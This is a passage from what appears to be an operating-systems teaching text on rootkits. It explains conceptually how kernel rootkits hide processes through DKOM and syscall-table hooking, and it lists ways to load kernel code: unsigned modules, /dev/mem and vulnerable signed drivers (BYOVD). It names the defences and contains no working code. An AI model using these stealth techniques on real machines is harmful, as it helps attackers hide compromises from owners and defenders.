$ ls
aVeryBadRootKit.c aVeryBadRootKit.so evil
A tool that makes the raw syscall itself, or an inspection from outside sees everything. That is why the strong rootkits move into the kernel.
Kernel rootkits
These lie to the OS itself. Running in ring 0, they alter the kernel's own bookkeeping, so even a correct tool asking the kernel gets a false answer.
Manipulating kernel structures
Direct Kernel Object Manipulation (DKOM): the kernel keeps its processes in a linked list. Unlink a process's entry from that list and it disappears from ps and the task list, while its threads keep being scheduled.
Other kernel rootkits hook the syscall table (seen in the syscall chapter) to intercept everything at the source.
To do any of this, the attacker needs their code in the kernel. To do this these can use :
-
an unsigned kernel module (insmod), which requires root and fails if the kernel is in lockdown / Secure Boot enforces module signing.
-
raw memory access like
/dev/mem, which is exactly whatCONFIG_STRICT_DEVMEMblocks (seen in the MMU chapter). -
BYOVD (Bring Your Own Vulnerable Driver): load a legitimate signed-but-vulnerable driver and use its bug to run code in the kernel. This is the modern path.